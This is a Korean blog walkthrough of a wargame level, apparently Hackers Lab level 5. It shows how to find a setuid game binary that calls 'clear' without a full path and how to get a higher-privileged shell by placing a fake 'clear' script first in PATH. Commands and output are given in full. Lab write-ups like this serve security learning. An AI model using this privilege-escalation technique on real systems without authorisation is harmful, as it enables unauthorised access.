hackers lab level 5

Tags:

리눅스에 들어 있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스 파일에 특정 코드를 삽입하여 다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는 없고, 이를 이용하여 다음 레벨을 획득하면 된다.
Hint – 어줍잖은 김모씨는 단 한 줄만 소스에 추가했다고 한다.

———-

[level4@drill /]$ ls -l `find / -perm +4000`

-rwsr-x— 1 level5 level4 30422 Jan 10 2003 /usr/games/trojka

처음에 김모씨가 고친게 뭔지 몰라서 한참 헤멨습니다. 게임이란게 테트리스인데, 실행하니까 화면이 까맣고 아무것도 안나온 상태더군요. 아무키나 누르면 다음으로 넘어가고요.. 여기서 그냥 심심해서 ctrl+z 를 하고 다시 fg를 하니 하이스코어 화면이 나왔습니다.

그래서 경우의 수가 2가지라고 볼 수 있었습니다. 첫번째는 제 터미널이 이상해서 화면이 안보이는 것일 수 있고, 두번째는 김모씨가 clear 명령을 수행했을 수도 있죠.

그래서 다음과 같이 시험해보았습니다.

[level4@drill tmp]$ strings /usr/games/trojka
/lib/ld-linux.so.2
__gmon_start__
libncurses.so.4
printw
_DYNAMIC
endwin
echo
_init
nocbreak
wrefresh
cbreak
nonl
noecho
initscr
wmove
_fini
wgetch
stdscr
_GLOBAL_OFFSET_TABLE_
wclear
wclrtoeol
libc.so.6
strcpy
ioctl
inet_pton
usleep
creat
system
malloc
socket
fflush
write
fprintf
__deregister_frame_info
stdin
umask
rand
signal
read
sendto
getopt
memset
srand
getchar
time
strcmp
stderr
htons
exit
_IO_stdin_used
__libc_start_main
strlen
open
__register_frame_info
close
_etext
_edata
__bss_start
_end
GLIBC_2.0
PTRh
gfff
~@h@
~0j)j
VUUU
Not enough memory to hold scores.
See you around in the Trojka-zone…
Usage: trojka [-s]

****
%7lu
TROJKA! %5lu

G A M E O V E R
KEEP PLAYING TROJKA
clear
Best Trojka-Czars
%-22s %7lu %3d
-SCORE-
-SPEED-
S U M
* * *
Statistics
%5lu
%4d %%
Select game-speed (0…9) —>
Score: %7lu
Enter your name please:
………………..
Romanov
/usr/games/lib/trojka.scores
Error creating scorefile
Error opening scorefile
Error reading scorefile
Error opening scorefile.
Score-file write error.
Error closing scorefile.
Best Trojka-Czars
—————–
%-22s %7lu %3d
See you around in the Trojka-zone…
210.108.148.136
@(#) trojka (c) 1989-1995 by Maarten Los
**
***** **** *** * * * * *
* * * * * * ** * * * *
* **** * * * * * ** * *
* * * * ** * * * *****
* * *** * * * * * *
T R O J K A
You’re doin’ well
You’re playing ok
You’re doin’ fine
You’re playing good
You’re playing great
You’re playing very good
You’re really are good at this
You’re a champion
You’re a trojka-professional
You’ve played this before, haven’t ya?
Hey, I hope you’re not cheating!
What a magnificent score
You’re kinda addicted…
You’re a MEGA-player
What time is it, by the way?
You’re a trojka-czar
I’m very tired
You must be paranoid..
I give up giving comments. Enjoy!

OOOO
||||
XXXX
%%%%
$$$$
[level4@drill tmp]$

bold로 표시한, clear명령이 보입니다. 이러면 이젠 간단하죠.

[level4@drill tmp]$ cat > clear
/bin/sh
[level4@drill tmp]$ chmod a+x clear
[level4@drill tmp]$ export PATH=.:$PATH
[level4@drill tmp]$ /usr/games/trojka

그 결과 중간에 clear 실행이 되면서, 바로 쉘로 빠집니다.

bash$ level5                             Best Trojka-Czars
            bash$
                                         Romanov                    333   3
                                         Romanov                    333   3
                                         Romanov                    333   3
                       **                Romanov                    333   3
*****  ****    ***   *   *  *  *    *    Romanov                    333   3
  *    *   *  *   *  *  **  * *    * *   Romanov                    333   3
  *    ****   *   *  * * *  **    *   *  Romanov                    333   3
  *    *      *   *  **  *  * *   *****  Romanov                    333   3
  *    *       ***   *   *  *  *  *   *  Romanov                    333   3
  T      R      O      J     K      A    Romanov                    333   3
                                         Romanov                    333   3
                                         Romanov                    333   3
                                         Romanov                    333   3
                                         Romanov                    333   3
                                         Romanov                    333   3
                                         Romanov                    333   3
                                         Romanov                    333   3
KEEP PLAYING TROJKA                      Romanov                    333   3
                                         Romanov                    333   3

                                         You                          0   0

(중간에 whoami 명령 친건 안보이네요.)

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *